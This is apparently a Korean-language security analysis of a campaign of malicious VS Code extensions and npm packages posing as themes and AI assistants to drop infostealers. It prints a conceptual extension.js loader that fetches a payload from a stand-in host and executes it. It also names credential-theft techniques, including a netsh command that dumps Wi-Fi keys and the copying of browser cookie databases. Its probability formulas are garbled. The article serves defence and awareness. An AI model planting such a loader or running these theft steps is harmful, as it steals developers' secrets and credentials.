개발자는 도구를 믿는다. 이것이 개발자의 불문율이다. npm install로 라이브러리를 설치하거나 VS Code의 멋진 Dark Mode 테마에서 “설치”를 클릭할 때, 당신은 트로이 목마를 기대하지 않는다. 더 나은 구문 강조를 기대한다. 생산성을 기대한다.
그러나 새로운 대규모 공급망 공격의 물결이 그 신뢰를 깨뜨렸고, 당신의 개발 환경을 사이버범죄자들의 감시소로 바꾸어 놓았다.
Check Point, Phylum 및 다른 보안 회사의 연구원들은 현대 개발 스택의 심장을 목표로 하는 정교하고 조직적인 캠페인을 발견했다: VS Code, npm, Go, Rust. 이것은 단순한 버그 코드나 암호 채굴자, 짜증나는 애드웨어가 아니다. 이들은 프리미엄 테마(예: “Bitcoin Black”)와 최첨단 AI 어시스턴트(예: “Codo AI” 및 “Chengdu AI”)로 위장한 정교하게 설계된 “정보 탈취자”이다.
그리고 그들은 단지 당신의 코드를 훔치는 것이 아니라 Wi-Fi 비밀번호, SSH 키, 브라우저 쿠키, 그리고 활성 데스크톱의 뚜렷한 스크린샷까지 촬영하고 있다.
이 심층 분석은 이 확장 프로그램들이 정확히 어떻게 작동하는지, “Imposter” 공격의 역학, 이 급증을 주도하는 경제학, 그리고 왜 “검증됨” 배지가 당신을 구하기에 충분하지 않을 수 있는지를 분해한다.
후크: 지금 중요한 이유
수년간 “공급망 공격”이라는 용어는 SolarWinds 침해를 떠올리게 했다 - 빌드 서버의 고급 국가 차원의 손상으로 수천 개의 정부 기관으로 흘러내렸다. 일반 프론트엔드 개발자나 데이터 과학자에게는 거리감이 있고 거의 추상적으로 느껴졌다.
이 새로운 물결은 개인적이다. 종종 신뢰할 수 있는 프로토콜의 뒷배를 타고 회사 방화벽을 완전히 우회하면서 로컬 머신의 개별 개발자를 목표로 한다.
“Bitcoin Black” 확장 프로그램은 암호 거래자를 위한 세련된 어두운 테마를 약속하며 수천 번 다운로드되었다. 마찬가지로 “Codo AI”는 ChatGPT와 DeepSeek의 하이프를 타고 통합 AI 어시스턴트를 약속했다. 코드를 도와주는 대신, 조용히 DLL 기반 정보 탈취자를 배포하고 있었다.
무섭게도? 그것이 작동했다. 이 도구들이 IDE 내에 상주하기 때문에, 개발 환경의 높은 수준의 권한을 상속한다. 난독화된 코드 분석은 환경 변수(AWS 키를 저장하는 곳)를 수집하고 셸 명령을 실행하는 postinstall 스크립트를 드러냈다.
“공격자들은 더 이상 정문을 부수지 않는다; 그들은 당신이 안으로 가져오는 가구로 자신을 위장한다.”
기술 심층 분석: 공격의 해부학
“테마” - 단지 16진수 코드의 JSON 파일이어야 하는 - 어떻게 당신의 Wi-Fi 비밀번호를 훔칠 수 있을까? 그 메커니즘은 놀랍게도 정교하며 VS Code 확장 아키텍처에 대한 깊은 이해를 드러낸다.
1. “Imposter” 메커니즘
- 타이포스쿼팅:
prettier-vscode-plus는 인기 있는 Prettier 포매터의 합법적인 “Plus” 버전처럼 들린다. 그렇지 않았다. 그것은 “OctoRAT” 멀웨어를 위한 수단이었다. - 트렌드 하이재킹: “Bitcoin Black”은 개발자와 암호 열성가의 중복을 목표로 했다. “Codo AI”는 AI 붐을 목표로 했다.
그들은 README를 광택내고, 가짜 “검증됨” 배지를 추가하고(설명에 PNG), 봇 네트워크를 사용하여 다운로드 수를 인위적으로 부풀려 합법적으로 보이게 한다. VS Code 마켓플레이스에서 소셜 증거는 대부분의 사용자에게 주요 보안 메커니즘이며, 쉽게 위조된다.
2. 페이로드 전달 (DLL 드롭)
일단 설치되면, 테마는 기술적으로 주로 색상을 정의하는 JSON 파일로 구성된다. 그러나 VS Code 확장 프로그램은 실행 가능한 코드 및 활성화 이벤트를 번들로 묶을 수도 있다.
Bitcoin Black의 경우, 확장 프로그램은 단지 색상을 적용하지 않는 숨겨진 extension.js 파일을 포함했다.
- 트리거: 활성화 시(또는 VS Code 시작 시) JavaScript가 실행된다.
- 페처: 일반적으로 손상된 합법적 도메인이나 저렴한 VPS에서 호스팅되는 Command & Control (C2) 서버에 도달한다. 이는 무해한 원격 측정 체크로 위장한다. 조사는 이전에 Lazarus Group과 연결된 알려진 명령 및 제어 서버로의 연결을 드러냈다.
- 드롭: 이는 보조 페이로드를 다운로드한다 - 종종 컴파일된 PE (Portable Executable) 또는 DLL 파일이다. “Anivia” 캠페인에서 이것은 OctoRAT였다.
다음은 합법적인 extension.js에서 악의적인 로더 코드가 얼마나 간단할 수 있는지의 개념적 예이다:
// Looks like telemetry
const telemetry = require('./telemetry-utils');
function activate(context) {
// legitimate theme activation code...
// The malicious payload
// obfuscated to look like analytics
const u = "https://cdn-stats-track.com/update/v2/payload";
telemetry.checkUpdate(u).then(payload => {
// execute the downloaded buffer
require('child_process').exec(payload);
});
}
telemetry-utils 모듈은 바이너리를 가져오고 실행하는 로직을 포함하며, 종종 의심을 피하기 위해 %TEMP%\vscode-updater.exe와 같은 임시 디렉토리에 저장한다.
3. 유출: “강도와 신속함”
멀웨어는 VS Code에 머물지 않는다. 데이터를 수집하기 위해 호스트의 시스템 리소스를 사용한다.
- Wi-Fi 자격 증명:
netsh wlan show profile name="[SSID]" key=clear(Windows에서)을 실행하여 일반 텍스트 Wi-Fi 비밀번호를 얻는다. 이를 통해 공격자는 로컬인 경우 물리적으로 네트워크를 손상시키거나 회사 네트워크 자격 증명을 매핑할 수 있다. - 브라우저 세션 하이재킹:
AppData/Local/Google/Chrome/User Data디렉토리를 스캔하여 쿠키 및 저장된 비밀번호를 포함하는 SQLite 데이터베이스를 복사한다. 이를 통해 공격자는 세션 쿠키를 재사용하여 2FA를 우회할 수 있다. - 스크린샷: Windows API 호출,
BitBlt등을 사용하여 화면을 캡처한다. 개발자는 종종 다른 창(Postman, Notion, 1Password)에서 비밀을 보이게 놔두기 때문에 이것은 치명적이다. - 클립보드 하이재킹: 암호 지갑 주소나 API 키처럼 보이는 문자열에 대한 클립보드를 모니터링하고 이를 교환하거나 기록한다.
4. 코드 블록: 감염의 수학
공급망에서 감염의 확률 는 의존성 수 와 신뢰 인수 (0은 맹목적 신뢰)에 따라 지수적으로 증가한다.
여기서 은 패키지당 위험이다. (의존성 수)가 증가함에 따라 는 1에 접근한다.
50개 확장 프로그램과 node_modules에 1000개 npm 패키지를 보유한 시니어 개발자의 경우, 공격 표면은 거대하다.
맥락적 역사: 태만의 패턴
이것이 처음은 아니다. 패키지 매니저의 역사는 깨진 신뢰의 역사이다.
2018: event-stream 인시던트
널리 사용되는 npm 패키지인 event-stream은 원래 저자(번아웃 상태)에서 “Right9delta”라는 새로운 자원 봉사 유지보수자에게 인수되었다. 이 새로운 유지보수자는 처음에는 도움이 되었다. 그다음 그들은 암호화된 코드를 포함하는 flatmap-stream이라는 의존성을 주입했다. 이 코드는 특히 Copay(비트코인 지갑 앱)의 빌드 프로세스를 목표로 개인 키를 훔쳤다. 이것은 “인내” 공격이었다 - 신뢰할 때까지 기다렸다가 타격을 가한다.
2020: SolarWinds
공급망 공격의 “할아버지”. 공격자들은 빌드 시스템 자체를 손상시켰다. 이것이 국가 후원 및 고급 공격이었지만, 원천(코드 소스)을 독화시킬 수 있다면 마을(이를 사용하는 모든 사람)을 독화시킬 수 있다는 것을 증명했다.
2024: XZ Utils 백도어
올해만 해도 XZ Utils 백도어는 유지보수자가 코어 Linux 압축 라이브러리에 정교한 백도어를 삽입하기 전에 수년간 신뢰를 구축하는 방법을 보여주었다. VS Code 공격은 이것의 “패스트푸드” 버전이다: 빠르고, 지저분하고, 널리 배포된다.
“Lazarus” 전환
국가 후원 행위자(예: Lazarus Group)는 은행을 약탈하는 것에서 개발자를 약탈하는 것으로 전환했다. 왜? 개발자는 은행의 열쇠를 보유하고 있기 때문이다. 그들은 인터넷 경제의 “미들웨어”를 목표로 한다.
VS Code Marketplace는 항상 “Wild West”였다. Apple App Store와 달리 최소한의 인적 검토가 있다. 자동화된 스캐너는 알려진 바이러스 시그니처를 확인하지만, 맞춤식 작성 난독화 JS 스크립트는 논리 검사를 통과하는 경우가 많다.
경제적 현실
왜 해커들은 개발자를 목표로 할까? ROI (투자 수익률).
은행 직원을 대상으로 한 타겟팅된 피싱 캠페인은 시간, 돈, 정교한 소셜 엔지니어링이 소요된다. 가짜 “AI Helper” 확장 프로그램을 업로드하는 데는 $0가 소요된다.
5,000명의 개발자가 설치하면:
- 10%는 Fortune 500 회사에서 일할 수 있다.
- 1%는
.env파일에 AWS Root 키를 가질 수 있다. - 그것은 가짜 README의 대가로 50개의 “Golden Key”이다.
장점은 엄청나다. 공격자에게 “제조원가”는 거의 0에 가깝지만, 액세스 판매(Initial Access Broker) 또는 랜섬웨어 배포의 잠재적 수익은 수백만 달러이다. 단일 유효한 엔터프라이즈 AWS 루트 키는 할당량 한도에 따라 다크 웹 시장에서 $5,000에서 $50,000에 팔릴 수 있다.
전망적 분석: “Zero Trust” IDE
업계는 한계에 도달하고 있다. 시장 데이터는 2026년의 세 가지 주요 변화를 시사한다:
- “Open” Marketplace의 종료: Microsoft와 GitHub은 “App Store” 스타일의 검토 프로세스를 구현할 가능성이 높다.
- 샌드박스 확장 프로그램: 현재 확장 프로그램은 당신의 사용자 권한으로 실행된다. 향후 VS Code 버전은 기본적으로 파일 시스템 액세스가 없는 WASM 샌드박스에서 확장 프로그램을 실행하도록 강제할 수 있다. 모바일 앱에 카메라 액세스 권한을 부여하는 것처럼 확장 프로그램이
/src폴더를 읽을 수 있도록 명시적으로 권한을 부여해야 한다. - 엔터프라이즈 “Allow-Lists”: 회사는 개발자가 원하는 것을 설치할 수 있도록 하는 것을 중단할 것이다. 검증된 확장 프로그램만 사용 가능한 내부 Marketplace가 아마 상승할 것이다.
오늘 당신이 해야 할 일
Microsoft를 기다릴 수 없다.
- 확장 프로그램 감사: 확장 프로그램 탭으로 이동한다. 매일 사용하지 않으면 제거한다.
- 출판자 확인: 출판자 이름을 클릭한다. 웹사이트가 있는가? GitHub 저장소? 일반적인 이름이거나 새로운 계정인 경우 설치하지 않는다.
- 스캐너 사용: Socket 및 Snyk과 같은 도구는 npm 패키지뿐만 아니라 IDE 확장 프로그램도 스캔하기 시작하고 있다. 이들을 사용한다.
- 네트워크 필터링: Little Snitch (Mac에서)와 같은 도구를 사용하여 VS Code가 어디로 연결되는지 모니터링한다. “테마”가 비표준 지역의 서버와 통신하고 있다면, 차단한다.
판정: “Trojan Theme” 시대가 왔다. 당신의 IDE는 더 이상 성역이 아니다; 그것은 전장이다. 그에 따라 코드한다.
출처 (3)
- thehackernews.com Researchers Find Malicious VS Code, Go, NPM Packages
- infosecurity-magazine.com Malicious VS Code Extensions Found Stealing Data
- hunt.io The Anivia/OctoRAT Attack Chain
🦋 Bluesky 토론
Bluesky에서 토론하기